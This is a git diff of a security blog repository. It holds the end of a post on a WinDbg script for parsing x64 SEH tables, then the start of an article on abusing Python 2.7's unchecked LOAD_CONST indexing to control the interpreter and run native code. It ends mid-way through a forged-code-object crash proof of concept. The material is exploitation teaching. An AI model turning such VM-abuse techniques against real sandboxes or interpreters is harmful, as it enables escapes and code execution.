+Before giving you the script, I would just like to spend a bit of time to give you a brief overview of how this information is encoded and embedded inside a PE32+ binary. Note that I am only interested by x64 binaries coded in C; in other words I am focusing on SEH (`__try` / `__except`) as opposed to C++ EH (`try` / `catch`).
+
+The first table we need to look at is the `ENTRY_EXCEPTION` table that resides in the `DataDirectory` of the `OptionalHeader`. This directory is an array of [IMAGE_RUNTIME_FUNCTION_ENTRY](https://docs.microsoft.com/en-us/cpp/build/struct-runtime-function) that describes the boundary of functions (handy for IDA!) and their unwinding information which is stored at the end of this structure.
+
+The unwinding information is mainly described by the [UNWIND_INFO](https://docs.microsoft.com/en-us/cpp/build/struct-unwind-info) structure in which the frame unwinder can find what is necessary to unwind a stack-frame associated to this function. The array of [UNWIND_CODE](https://docs.microsoft.com/en-us/cpp/build/struct-unwind-code) structures basically tells you how to do an epilogue.
+
+What follows this array is variable though (documented [here](https://docs.microsoft.com/en-us/cpp/build/struct-unwind-info)): if the `Flags` field of `UNWIND_INFO` specifies the `EHHANDLER` flag then we have what I call a `UNWIND_INFO_END` structure defined like this:
+
+```text
+0:000> dt UNWIND_INFO_END
+ +0x000 ExceptionHandler : Uint4B
+ +0x004 ExceptionData : Uint4B
+```
+
+This is basically where `!exchains` stops -- the `ehhandler` address in the output is the `ExceptionHandler` field. This is basically an RVA to a function that encapsulates the exception handling for this function. This is not to be confused with either your `Filter` function or your `__except` block, this is a generic entry-point that the compiler generates and can be used for other functions too. This function is invoked by the exception dispatching / handling code with an argument that is the value of `ExceptionData`. `ExceptionData` is basically an RVA to a blob of memory that the `ExceptionHandler` function knows how to read and takes actions on. This is where the information we are after is stored.
+
+This is also where it was a bit of a surprise to me, as you basically cannot really tell for sure what type of structure is referenced by `ExceptionData`. For that, you would have to analyze the `ExceptionHandler` function to understand what and how this data is used. That is also most likely, why the `!exchains` command stops here and does not bother trying to parse the exception data blob.
+
+Obviously we can easily make an assumption and assume that the `ExceptionData` is the structure we would like it to be, and verify that it looks right. In addition, the fact that the code you are most likely looking at has been emitted by a well behaved compiler and that the binary has not been tampered with combined have given me good enough results. But keep in mind that in theory, you could place your own function and have your own `ExceptionData` format in which case reverse-engineering the handler would be mandatory - in practice this is an unlikely scenario if you are dealing with *normal* binaries.
+
+The type of `ExceptionData` that we are interested in is what I call a `SEH_SCOPE_TABLE` which is an array of `SCOPE_RECORD`s that are defined like this:
+
+```text
+0:000> dt SEH_SCOPE_TABLE
+ +0x000 Count : Uint4B
+ +0x004 ScopeRecord : [1] SCOPE_RECORD
+
+0:000> dt SCOPE_RECORD
+ +0x000 BeginAddress : Uint4B
+ +0x004 EndAddress : Uint4B
+ +0x008 HandlerAddress : Uint4B
+ +0x00c JumpTarget : Uint4B
+```
+
+`BeginAddress` and `EndAddress` give you the `__try` block RVA, `HandlerAddress` encodes either the `Filter` function or the start of the `__finally` block. The `JumpTarget` field tells you if you are looking at either a `__try / __except` or a `__try / __finally`. Also, the current heuristic I use to know if the `SCOPE_RECORD` looks legit or not is to ensure that the `__try` block resides in between the boundaries of the function the handler is defined in. This has been working well so far - at least on the binaries I have tried it on, but I would not be that surprised if there exists some edge cases to this; if you know any feel free to hit me up!
+
+## Putting it all together
+
+All right, so now that we sort of know how to dig out the information we are interested in, you can check the script I came up with: [parse_eh_win64.js](https://github.com/0vercl0k/windbg-scripts/blob/master/parse_eh_win64/parse_eh_win64.js).
+
+This extends both the `Process` and the `Module` models. In both of those models it adds a `Functions` node as well as a `ExceptionHandlers` node. Each node under `Functions` has an `ExceptionHandlers` node too.
+
+This basically means that you can now:
+
+* Get every exception handler registered in the process regardless of which module it is coming from (using `Process.ExceptionHandlers`)
+* Get every exception handler registered by a specific module (using `Module.ExceptionHandlers`)
+* Get every function in the process address space (using `Process.Functions`)
+* Get every function in a specific module (using `Module.Functions`)
+* Get every exception handler defined by a specific function (using either `Module.Functions[x].ExceptionHandlers` or `Process.Functions[x].ExceptionHandlers`)
+
+With the same source of information we can easily filter and shape the way we want it displayed through the data model. There is no need to display every exception handler from the `Module` node as it would not be information related to a `Module` -- this is why we choose to filter it out and display only the ones concerning this `Module`. Same thing reasoning applies to `Functions` as well. The model is something you should explore step by step, it is not something where you have all the available information displayed at once - it is meant to be scoped and not overwhelming.
+
+And just in case you forgot about it, all this information is now accessible from the command window for query purposes. You can ask things like *Which function defines the most exception handlers?* very easily:
+
+```text
+0:000> dx @$curprocess.Functions.OrderByDescending(c => c.ExceptionHandlers.Count()).First()
+@$curprocess.Functions.OrderByDescending(c => c.ExceptionHandlers.Count()).First() : RVA:0x7ff83563e170 -> RVA:0x7ff83563e5a2, 12 exception handlers
+ EHHandlerRVA : 0x221d6
+ EHHandler : 0x7ff8356021d6
+ BeginRVA : 0x5e170
+ EndRVA : 0x5e5a2
+ Begin : 0x7ff83563e170
+ End : 0x7ff83563e5a2
+ ExceptionHandlers : __try {0x7ff83563e1d2 -> 0x7ff83563e37a} __finally {0x7ff83563e5a2}...
+
+0:000> u 0x7ff83563e170 l1
+KERNEL32!LoadModule:
+00007ff8`3563e170 4053 push rbx
+```
+
+In this example, the function `KERNEL32!LoadModule` seems to be the function that has registered the largest number of exception handlers (12 of them).
+
+Now that we have this new source of information, we can also push it a bit further and implement a command that does a very similar job than `!exchain` by just mining information from the nodes we just added to the data model:
+
+```text
+0:000> !ehhandlers
+9 stack frames, scanning for handlers...
+Frame 0x1: EHHandler: 0x7ff7a9001389: except!ILT+900(__GSHandlerCheck_SEH):
+ Except: 0x7ff7a900194b: except!main+0x5b [c:\users\over\documents\blog\except\except\except.c @ 28]:
+ Filter: 0x7ff7a9007e60: except!main$filt$0 [c:\users\over\documents\blog\except\except\except.c @ 27]:
+Frame 0x3: EHHandler: 0x7ff7a900134d: except!ILT+840(__C_specific_handler):
+ Except: 0x7ff7a900235d: except!__scrt_common_main_seh+0x15d [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 299]:
+ Filter: 0x7ff7a9007ef0: except!`__scrt_common_main_seh'::`1'::filt$0 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 299]:
+Frame 0x7: EHHandler: 0x7ff838050ef0: ntdll!_C_specific_handler:
+ Except: 0x7ff83802efc7: ntdll!RtlUserThreadStart+0x37:
+ Filter: 0x7ff8380684d0: ntdll!RtlUserThreadStart$filt$0:
+@$ehhandlers()
+
+0:000> !exchain
+8 stack frames, scanning for handlers...
+Frame 0x01: except!main+0x59 (00007ff7`a9001949)
+ ehandler except!ILT+900(__GSHandlerCheck_SEH) (00007ff7`a9001389)
+Frame 0x03: except!__scrt_common_main_seh+0x127 (00007ff7`a9002327)
+ ehandler except!ILT+840(__C_specific_handler) (00007ff7`a900134d)
+Frame 0x07: ntdll!RtlUserThreadStart+0x21 (00007ff8`3802efb1)
+ ehandler ntdll!_C_specific_handler (00007ff8`38050ef0)
+```
+
+We could even push it a bit more and have our command returns structured data instead of displaying text on the output so that other commands and extensions could build on top of it.
+
+# EOF
+
+Wow, sounds like you made it to the end :-) I hope you enjoyed the post and ideally it will allow you to start scripting Windbg with Javascript pretty quickly. I hope to see more people coming up with new scripts and/or tools based on the various technologies I touched on today.
+As usual, big thanks to my buddy [yrp604](https://twitter.com/yrp604) for proofreading and edits.
+
+If you are still thirsty for more information, here is a collection of links you should probably check out:
+
+* [Defrag Tools #170 - Debugger - JavaScript Scripting](https://channel9.msdn.com/Shows/Defrag-Tools/Defrag-Tools-170-Debugger-JavaScript-Scripting)
+* [Defrag Tools #182 - WinDbg Preview Part 1](https://channel9.msdn.com/Shows/Defrag-Tools/Defrag-Tools-182-WinDbg-Preview-Part-1)
+* [Defrag Tools #183 - WinDbg Preview Part 2](https://channel9.msdn.com/Shows/Defrag-Tools/Defrag-Tools-183-WinDbg-Preview-Part-2)
+* [Defrag Tools #184 - JavaScript in WinDbg Preview](https://channel9.msdn.com/Shows/Defrag-Tools/Defrag-Tools-184-JavaScript-in-WinDbg-Preview)
+* [Defrag Tools #185 - Time Travel Debugging - Introduction](https://channel9.msdn.com/Shows/Defrag-Tools/Defrag-Tools-185-Time-Travel-Debugging-Introduction)
+* [Defrag Tools #186 - Time Travel Debugging - Advanced](https://channel9.msdn.com/Shows/Defrag-Tools/Defrag-Tools-186-Time-Travel-Debugging-Advanced)
+* [Improving automated analysis of windows x64 binaries](http://www.uninformed.org/?v=4&a=1&t=sumry)
+* [Programming against the x64 exception handling support series](http://www.nynaeve.net/?p=113)
+* [Exceptional behavior: the Windows 8.1 X64 SEH Implementation](http://blog.talosintelligence.com/2014/06/exceptional-behavior-windows-81-x64-seh.html)
\ No newline at end of file
diff --git a/content/articles/exploitation/2014-01-03-deep-dive-into-pythons-vm-story-of-load_const-bug.markdown b/content/articles/exploitation/2014-01-03-deep-dive-into-pythons-vm-story-of-load_const-bug.markdown
new file mode 100644
index 0000000..4b180d9
--- /dev/null
+++ b/content/articles/exploitation/2014-01-03-deep-dive-into-pythons-vm-story-of-load_const-bug.markdown
@@ -0,0 +1,801 @@
+Title: Deep dive into Python's VM: Story of LOAD_CONST bug
+Date: 2014-04-17 23:22
+Tags: python, virtual machine
+Authors: Axel "0vercl0k" Souchet
+Slug: deep-dive-into-pythons-vm-story-of-load_const-bug
+
+# Introduction #
+A year ago, I've written a Python script to leverage a bug in Python's virtual machine: the idea was to fully control the Python virtual processor and after that to instrument the VM to execute native codes. The [python27_abuse_vm_to_execute_x86_code.py](https://github.com/0vercl0k/stuffz/blob/master/Python's%20internals/python27_abuse_vm_to_execute_x86_code.py) script wasn't really self-explanatory, so I believe only a few people actually took some time to understood what happened under the hood. The purpose of this post is to give you an explanation of the bug, how you can control the VM and how you can turn the bug into something that can be more useful. It's also a cool occasion to see how works the Python virtual machine from a low-level perspective: what we love so much right?
+
+But before going further, I just would like to clarify a couple of things:
+
+* I haven't found this bug, this is quite old and **known** by the Python developers (trading safety for performance), so don't panic this is **not** a 0day or a new bug ; can be a cool CTF trick though
+* Obviously, YES I know we can also "escape" the virtual machine with the [ctypes](http://docs.python.org/2/library/ctypes.html) module ; but this is a feature not a bug. In addition, ctypes is always "removed" from sandbox implementation in Python
+
+Also, keep in mind I will focus Python 2.7.5 x86 on Windows ; but obviously this is adaptable for other systems and architectures, so this is left as an exercise to the interested readers.
+All right, let's move on to the first part: this one will focus the essentials about the VM, and Python objects.
+
+
+
+[TOC]
+
+# The Python virtual processor #
+## Introduction
+As you know, Python is a (really cool) scripting language interpreted, and the source of the official interpreter is available here: [Python-2.7.6.tgz](http://www.python.org/ftp/python/2.7.6/Python-2.7.6.tgz). The project is written in C, and it is really readable ; so please download the sources, read them, you will learn a lot of things.
+Now all the Python code you write is being *compiled*, at some point, into some "bytecodes": let's say it's exactly the same when your C codes are compiled into x86 code. But the cool thing for us, is that the Python architecture is far more simpler than x86.
+
+Here is a partial list of all available opcodes in Python 2.7.5:
+
+```text
+In [5]: len(opcode.opmap.keys())
+Out[5]: 119
+In [4]: opcode.opmap.keys()
+Out[4]: [
+ 'CALL_FUNCTION',
+ 'DUP_TOP',
+ 'INPLACE_FLOOR_DIVIDE',
+ 'MAP_ADD',
+ 'BINARY_XOR',
+ 'END_FINALLY',
+ 'RETURN_VALUE',
+ 'POP_BLOCK',
+ 'SETUP_LOOP',
+ 'BUILD_SET',
+ 'POP_TOP',
+ 'EXTENDED_ARG',
+ 'SETUP_FINALLY',
+ 'INPLACE_TRUE_DIVIDE',
+ 'CALL_FUNCTION_KW',
+ 'INPLACE_AND',
+ 'SETUP_EXCEPT',
+ 'STORE_NAME',
+ 'IMPORT_NAME',
+ 'LOAD_GLOBAL',
+ 'LOAD_NAME',
+ ...
+]
+```
+
+## The virtual machine
+The Python VM is fully implemented in the function [PyEval_EvalFrameEx](https://github.com/python-git/python/blob/master/Python/ceval.c#L667) that you can find in the [ceval.c](https://github.com/python-git/python/blob/master/Python/ceval.c) file. The machine is built with a simple loop handling opcodes one-by-one with a bunch of switch-cases:
+
+```c
+PyObject *
+PyEval_EvalFrameEx(PyFrameObject *f, int throwflag)
+{
+ //...
+ fast_next_opcode:
+ //...
+ /* Extract opcode and argument */
+ opcode = NEXTOP();
+ oparg = 0;
+ if (HAS_ARG(opcode))
+ oparg = NEXTARG();
+ //...
+ switch (opcode)
+ {
+ case NOP:
+ goto fast_next_opcode;
+
+ case LOAD_FAST:
+ x = GETLOCAL(oparg);
+ if (x != NULL) {
+ Py_INCREF(x);
+ PUSH(x);
+ goto fast_next_opcode;
+ }
+ format_exc_check_arg(PyExc_UnboundLocalError,
+ UNBOUNDLOCAL_ERROR_MSG,
+ PyTuple_GetItem(co->co_varnames, oparg));
+ break;
+
+ case LOAD_CONST:
+ x = GETITEM(consts, oparg);
+ Py_INCREF(x);
+ PUSH(x);
+ goto fast_next_opcode;
+
+ case STORE_FAST:
+ v = POP();
+ SETLOCAL(oparg, v);
+ goto fast_next_opcode;
+
+ //...
+ }
+```
+
+The machine also uses a virtual stack to pass/return object to the different opcodes. So it really looks like an architecture we are used to dealing with, nothing exotic.
+
+## Everything is an object
+The first rule of the VM is that it handles only Python objects. A Python object is basically made of two parts:
+
+* The first one is a header, this header is mandatory for all the objects. Defined like that:
+
+```c
+#define PyObject_HEAD \
+ _PyObject_HEAD_EXTRA \
+ Py_ssize_t ob_refcnt; \
+ struct _typeobject *ob_type;
+
+#define PyObject_VAR_HEAD \
+ PyObject_HEAD \
+ Py_ssize_t ob_size; /* Number of items in variable part */
+```
+
+* The second one is the variable part that describes the specifics of your object. Here is for example *PyStringObject*:
+
+```c
+typedef struct {
+ PyObject_VAR_HEAD
+ long ob_shash;
+ int ob_sstate;
+ char ob_sval[1];
+
+ /* Invariants:
+ * ob_sval contains space for 'ob_size+1' elements.
+ * ob_sval[ob_size] == 0.
+ * ob_shash is the hash of the string or -1 if not computed yet.
+ * ob_sstate != 0 iff the string object is in stringobject.c's
+ * 'interned' dictionary; in this case the two references
+ * from 'interned' to this object are *not counted* in ob_refcnt.
+ */
+} PyStringObject;
+```
+
+Now, some of you may ask themselves "How does Python know the type of an object when it receives a pointer ?". In fact, this is exactly the role of the field *ob_type*. Python exports a *_typeobject* static variable that describes the type of the object. Here is, for instance the *PyString_Type*:
+
+```c
+PyTypeObject PyString_Type = {
+ PyVarObject_HEAD_INIT(&PyType_Type, 0)
+ "str",
+ PyStringObject_SIZE,
+ sizeof(char),
+ string_dealloc, /* tp_dealloc */
+ (printfunc)string_print, /* tp_print */
+ 0, /* tp_getattr */
+ // ...
+};
+```
+
+Basically, every string objects will have their *ob_type* fields pointing to that *PyString_Type* variable. With this cute little trick, Python is able to do type checking like that:
+
+```c
+#define Py_TYPE(ob) (((PyObject*)(ob))->ob_type)
+#define PyType_HasFeature(t,f) (((t)->tp_flags & (f)) != 0)
+#define PyType_FastSubclass(t,f) PyType_HasFeature(t,f)
+
+#define PyString_Check(op) \
+ PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_STRING_SUBCLASS)
+
+#define PyString_CheckExact(op) (Py_TYPE(op) == &PyString_Type)
+```
+
+With the previous tricks, and the *PyObject* type defined as follow, Python is able to handle in a generic-fashion the different objects:
+
+```c
+typedef struct _object {
+ PyObject_HEAD
+} PyObject;
+```
+
+So when you are in your debugger and you want to know what type of object it is, you can use that field to identify easily the type of the object you are dealing with:
+
+```text
+0:000> dps 026233b0 l2
+026233b0 00000001
+026233b4 1e226798 python27!PyString_Type
+```
+
+Once you have done that, you can dump the variable part describing your object to extract the information you want.
+By the way, all the native objects are implemented in the [Objects/](https://github.com/python-git/python/tree/master/Objects) directory.
+
+### Debugging session: stepping the VM. The hard way.
+It's time for us to go a little bit deeper, at the assembly level, where we belong ; so let's define a dummy function like this one:
+
+```python
+def a(b, c):
+ return b + c
+```
+
+Now using the Python's [dis](http://docs.python.org/2/library/dis.html) module, we can disassemble the function object *a*:
+
+```
+In [20]: dis.dis(a)
+2 0 LOAD_FAST 0 (b)
+ 3 LOAD_FAST 1 (c)
+ 6 BINARY_ADD
+ 7 RETURN_VALUE
+In [21]: a.func_code.co_code
+In [22]: print ''.join('\\x%.2x' % ord(i) for i in a.__code__.co_code)
+\x7c\x00\x00\x7c\x01\x00\x17\x53
+
+In [23]: opcode.opname[0x7c]
+Out[23]: 'LOAD_FAST'
+In [24]: opcode.opname[0x17]
+Out[24]: 'BINARY_ADD'
+In [25]: opcode.opname[0x53]
+Out[25]: 'RETURN_VALUE'
+```
+Keep in mind, as we said earlier, that everything is an object ; so a function is an object, and bytecode is an object as well:
+
+```c
+typedef struct {
+ PyObject_HEAD
+ PyObject *func_code; /* A code object */
+ // ...
+} PyFunctionObject;
+/* Bytecode object */
+typedef struct {
+ PyObject_HEAD
+ //...
+ PyObject *co_code; /* instruction opcodes */
+ //...
+} PyCodeObject;
+```
+
+Time to attach my debugger to the interpreter to see what's going on in that weird-machine, and to place a conditional breakpoint on [PyEval_EvalFrameEx](https://github.com/python-git/python/blob/master/Python/ceval.c#L667).
+Once you did that, you can call the dummy function:
+
+```text
+0:000> bp python27!PyEval_EvalFrameEx+0x2b2 ".if(poi(ecx+4) == 0x53170001){}.else{g}"
+breakpoint 0 redefined
+
+0:000> g
+eax=025ea914 ebx=00000000 ecx=025ea914 edx=026bef98 esi=1e222c0c edi=02002e38
+eip=1e0ec562 esp=0027fcd8 ebp=026bf0d8 iopl=0 nv up ei pl zr na pe nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
+python27!PyEval_EvalFrameEx+0x2b2:
+1e0ec562 0fb601 movzx eax,byte ptr [ecx] ds:002b:025ea914=7c
+
+0:000> db ecx l8
+025ea914 7c 00 00 7c 01 00 17 53 |..|...S
+```
+
+OK perfect, we are in the middle of the VM, and our function is being evaluated. The register *ECX* points to the bytecode being evaluated, and the first opcode is *LOAD_FAST*.
+
+Basically, this opcode takes an object in the *fastlocals* array, and push it on the virtual stack. In our case, as we saw in both the disassembly and the bytecode dump, we are going to load the index 0 (the argument *b*), then the index 1 (argument *c*).
+
+Here's what it looks like in the debugger ; first step is to load the *LOAD_FAST* opcode:
+
+```text
+0:000>
+eax=025ea914 ebx=00000000 ecx=025ea914 edx=026bef98 esi=1e222c0c edi=02002e38
+eip=1e0ec562 esp=0027fcd8 ebp=026bf0d8 iopl=0 nv up ei pl zr na pe nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
+python27!PyEval_EvalFrameEx+0x2b2:
+1e0ec562 0fb601 movzx eax,byte ptr [ecx] ds:002b:025ea914=7c
+```
+
+In *ECX* we have a pointer onto the opcodes of the function being evaluated, our dummy function. *0x7c* is the value of the *LOAD_FAST* opcode as we can see:
+
+```c
+#define LOAD_FAST 124 /* Local variable number */
+```
+
+Then, the function needs to check if the opcode has argument or not, and that's done by comparing the opcode with a constant value called *HAVE_ARGUMENT*:
+
+```text
+0:000>
+eax=0000007c ebx=00000000 ecx=025ea915 edx=026bef98 esi=1e222c0c edi=00000000
+eip=1e0ec568 esp=0027fcd8 ebp=026bf0d8 iopl=0 nv up ei pl zr na pe nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
+python27!PyEval_EvalFrameEx+0x2b8:
+1e0ec568 83f85a cmp eax,5Ah
+```
+
+Again, we can verify the value to be sure we understand what we are doing:
+
+```python
+In [11]: '%x' % opcode.HAVE_ARGUMENT
+Out[11]: '5a'
+```
+
+Definition of `HAS_ARG` in C:
+
+```c
+#define HAS_ARG(op) ((op) >= HAVE_ARGUMENT)
+```
+
+If the opcode has an argument, the function needs to retrieve it (it's one byte):
+
+```text
+0:000>
+eax=0000007c ebx=00000000 ecx=025ea915 edx=026bef98 esi=1e222c0c edi=00000000
+eip=1e0ec571 esp=0027fcd8 ebp=026bf0d8 iopl=0 nv up ei pl nz na pe nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
+python27!PyEval_EvalFrameEx+0x2c1:
+1e0ec571 0fb67901 movzx edi,byte ptr [ecx+1] ds:002b:025ea916=00
+```
+
+As expected for the first *LOAD_FAST* the argument is *0x00*, perfect.
+After that the function dispatches the execution flow to the *LOAD_FAST* case defined as follow:
+
+```c
+#define GETLOCAL(i) (fastlocals[i])
+#define Py_INCREF(op) ( \
+ _Py_INC_REFTOTAL _Py_REF_DEBUG_COMMA \
+ ((PyObject*)(op))->ob_refcnt++)
+#define PUSH(v) BASIC_PUSH(v)
+#define BASIC_PUSH(v) (*stack_pointer++ = (v))
+
+case LOAD_FAST:
+ x = GETLOCAL(oparg);
+ if (x != NULL) {
+ Py_INCREF(x);
+ PUSH(x);
+ goto fast_next_opcode;
+ }
+ //...
+ break;
+```
+
+Let's see what it looks like in assembly:
+
+```text
+0:000>
+eax=0000007c ebx=00000000 ecx=0000007b edx=00000059 esi=1e222c0c edi=00000000
+eip=1e0ec5cf esp=0027fcd8 ebp=026bf0d8 iopl=0 nv up ei ng nz na po cy
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200283
+python27!PyEval_EvalFrameEx+0x31f:
+1e0ec5cf 8b54246c mov edx,dword ptr [esp+6Ch] ss:002b:0027fd44=98ef6b02
+```
+
+After getting the *fastlocals*, we can retrieve an entry:
+
+```text
+0:000>
+eax=0000007c ebx=00000000 ecx=0000007b edx=026bef98 esi=1e222c0c edi=00000000
+eip=1e0ec5d3 esp=0027fcd8 ebp=026bf0d8 iopl=0 nv up ei ng nz na po cy
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200283
+python27!PyEval_EvalFrameEx+0x323:
+1e0ec5d3 8bb4ba38010000 mov esi,dword ptr [edx+edi*4+138h] ds:002b:026bf0d0=a0aa5e02
+```
+
+Also keep in mind we called our dummy function with two strings, so let's actually check it is a string object:
+
+```text
+0:000> dps 025eaaa0 l2
+025eaaa0 00000004
+025eaaa4 1e226798 python27!PyString_Type
+```
+
+Perfect, now according to the definition of *PyStringObject*:
+
+```c
+typedef struct {
+ PyObject_VAR_HEAD
+ long ob_shash;
+ int ob_sstate;
+ char ob_sval[1];
+} PyStringObject;
+```
+
+We should find the content of the string directly in the object:
+
+```text
+0:000> db 025eaaa0 l1f
+025eaaa0 04 00 00 00 98 67 22 1e-05 00 00 00 dd 16 30 43 .....g".......0C
+025eaab0 01 00 00 00 48 65 6c 6c-6f 00 00 00 ff ff ff ....Hello......
+```
+
+Awesome, we have the size of the string at the offset *0x8*, and the actual string is at *0x14*.
+
+Let's move on to the second opcode now, this time with less details though:
+
+```text
+0:000>
+eax=0000007c ebx=00000000 ecx=025ea917 edx=026bef98 esi=025eaaa0 edi=00000000
+eip=1e0ec562 esp=0027fcd8 ebp=026bf0dc iopl=0 nv up ei pl zr na pe nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
+python27!PyEval_EvalFrameEx+0x2b2:
+1e0ec562 0fb601 movzx eax,byte ptr [ecx] ds:002b:025ea917=7c
+```
+
+This time, we are loading the second argument, so the index 1 of *fastlocals*.
+We can type-check the object and dump the string stored in it:
+
+```text
+0:000>
+eax=0000007c ebx=00000000 ecx=0000007b edx=026bef98 esi=025eaaa0 edi=00000001
+eip=1e0ec5d3 esp=0027fcd8 ebp=026bf0dc iopl=0 nv up ei ng nz na po cy
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200283
+python27!PyEval_EvalFrameEx+0x323:
+1e0ec5d3 8bb4ba38010000 mov esi,dword ptr [edx+edi*4+138h] ds:002b:026bf0d4=c0af5e02
+0:000> db poi(026bf0d4) l1f
+025eafc0 04 00 00 00 98 67 22 1e-05 00 00 00 39 4a 25 29 .....g".....9J%)
+025eafd0 01 00 00 00 57 6f 72 6c-64 00 5e 02 79 00 00 ....World.^.y..
+```
+
+Comes now the *BINARY_ADD* opcode:
+
+```text
+0:000>
+eax=0000007c ebx=00000000 ecx=025ea91a edx=026bef98 esi=025eafc0 edi=00000001
+eip=1e0ec562 esp=0027fcd8 ebp=026bf0e0 iopl=0 nv up ei pl zr na pe nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
+python27!PyEval_EvalFrameEx+0x2b2:
+1e0ec562 0fb601 movzx eax,byte ptr [ecx] ds:002b:025ea91a=17
+```
+
+Here it's supposed to retrieve the two objects on the top-of-stack, and add them.
+The C code looks like this:
+
+```c
+#define SET_TOP(v) (stack_pointer[-1] = (v))
+
+case BINARY_ADD:
+ w = POP();
+ v = TOP();
+ if (PyInt_CheckExact(v) && PyInt_CheckExact(w)) {
+ // Not our case
+ }
+ else if (PyString_CheckExact(v) &&
+ PyString_CheckExact(w)) {
+ x = string_concatenate(v, w, f, next_instr);
+ /* string_concatenate consumed the ref to v */
+ goto skip_decref_vx;
+ }
+ else {
+ // Not our case
+ }
+ Py_DECREF(v);
+skip_decref_vx:
+ Py_DECREF(w);
+ SET_TOP(x);
+ if (x != NULL) continue;
+ break;
+```
+
+And here is the assembly version where it retrieves the two objects from the top-of-stack:
+
+```text
+0:000>
+eax=00000017 ebx=00000000 ecx=00000016 edx=0000000f esi=025eafc0 edi=00000000
+eip=1e0eccf5 esp=0027fcd8 ebp=026bf0e0 iopl=0 nv up ei ng nz na pe cy
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200287
+python27!PyEval_EvalFrameEx+0xa45:
+1e0eccf5 8b75f8 mov esi,dword ptr [ebp-8] ss:002b:026bf0d8=a0aa5e02
+...
+
+0:000>
+eax=1e226798 ebx=00000000 ecx=00000016 edx=0000000f esi=025eaaa0 edi=00000000
+eip=1e0eccfb esp=0027fcd8 ebp=026bf0e0 iopl=0 nv up ei ng nz na pe cy
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200287
+python27!PyEval_EvalFrameEx+0xa4b:
+1e0eccfb 8b7dfc mov edi,dword ptr [ebp-4] ss:002b:026bf0dc=c0af5e02
+
+0:000>
+eax=1e226798 ebx=00000000 ecx=00000016 edx=0000000f esi=025eaaa0 edi=025eafc0
+eip=1e0eccfe esp=0027fcd8 ebp=026bf0e0 iopl=0 nv up ei ng nz na pe cy
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200287
+python27!PyEval_EvalFrameEx+0xa4e:
+1e0eccfe 83ed04 sub ebp,4
+```
+
+A bit further we have our string concatenation:
+
+```text
+0:000>
+eax=025eafc0 ebx=00000000 ecx=0027fcd0 edx=026bef98 esi=025eaaa0 edi=025eafc0
+eip=1e0eb733 esp=0027fcb8 ebp=00000005 iopl=0 nv up ei pl nz na po nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
+python27!PyEval_SliceIndex+0x813:
+1e0eb733 e83881fcff call python27!PyString_Concat (1e0b3870)
+
+0:000> dd esp l3
+0027fcb8 0027fcd0 025eafc0 025eaaa0
+
+0:000> p
+eax=025eaaa0 ebx=00000000 ecx=00000064 edx=000004fb esi=025eaaa0 edi=025eafc0
+eip=1e0eb738 esp=0027fcb8 ebp=00000005 iopl=0 nv up ei pl nz na po nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
+python27!PyEval_SliceIndex+0x818:
+1e0eb738 8b442418 mov eax,dword ptr [esp+18h] ss:002b:0027fcd0=c0aa5e02
+
+0:000> db poi(0027fcd0) l1f
+025eaac0 01 00 00 00 98 67 22 1e-0a 00 00 00 ff ff ff ff .....g".........
+025eaad0 00 00 00 00 48 65 6c 6c-6f 57 6f 72 6c 64 00 ....HelloWorld.
+```
+
+And the last part of the case is to push the resulting string onto the virtual stack (*SET_TOP* operation):
+
+```text
+0:000>
+eax=025eaac0 ebx=025eaac0 ecx=00000005 edx=000004fb esi=025eaaa0 edi=025eafc0
+eip=1e0ecb82 esp=0027fcd8 ebp=026bf0dc iopl=0 nv up ei pl nz ac po cy
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200213
+python27!PyEval_EvalFrameEx+0x8d2:
+1e0ecb82 895dfc mov dword ptr [ebp-4],ebx ss:002b:026bf0d8=a0aa5e02
+```
+
+Last part of our deep dive, the *RETURN_VALUE* opcode:
+
+```text
+0:000>
+eax=025eaac0 ebx=025eafc0 ecx=025ea91b edx=026bef98 esi=025eaac0 edi=025eafc0
+eip=1e0ec562 esp=0027fcd8 ebp=026bf0dc iopl=0 nv up ei pl zr na pe nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
+python27!PyEval_EvalFrameEx+0x2b2:
+1e0ec562 0fb601 movzx eax,byte ptr [ecx] ds:002b:025ea91b=53
+```
+
+All right, at least now you have a more precise idea about how that Python virtual machine works, and more importantly how you can directly debug it without symbols. Of course, you can download the debug symbols on Linux and use that information in gdb ; it should make your life easier (....but I hate gdb man...).
+
+Note that I would love very much to have a debugger at the Python bytecode level, it would be much easier than instrumenting the interpreter. If you know one ping me! If you build one ping me too :-).
+
+# The bug #
+Here is the bug, spot it and give it some love:
+
+```c
+#ifndef Py_DEBUG
+#define GETITEM(v, i) PyTuple_GET_ITEM((PyTupleObject *)(v), (i))
+#else
+//...
+/* Macro, trading safety for speed <-- LOL, :) */
+#define PyTuple_GET_ITEM(op, i) (((PyTupleObject *)(op))->ob_item[i])
+
+case LOAD_CONST:
+ x = GETITEM(consts, oparg);
+ Py_INCREF(x);
+ PUSH(x);
+ goto fast_next_opcode;
+```
+
+This may be a bit obscure for you, but keep in mind we control the index *oparg* and the content of *consts*. That means we can just push *untrusted* data on the virtual stack of the VM: brilliant. Getting a crash out of this bug is fairly easy, try to run these lines (on a Python 2.7 distribution):
+
+```python
+import opcode
+import types
+
+def a():
+ pass
+
+a.func_code = types.CodeType(
+ 0, 0, 0, 0,
+ chr(opcode.opmap['EXTENDED_ARG']) + '\xef\xbe' +
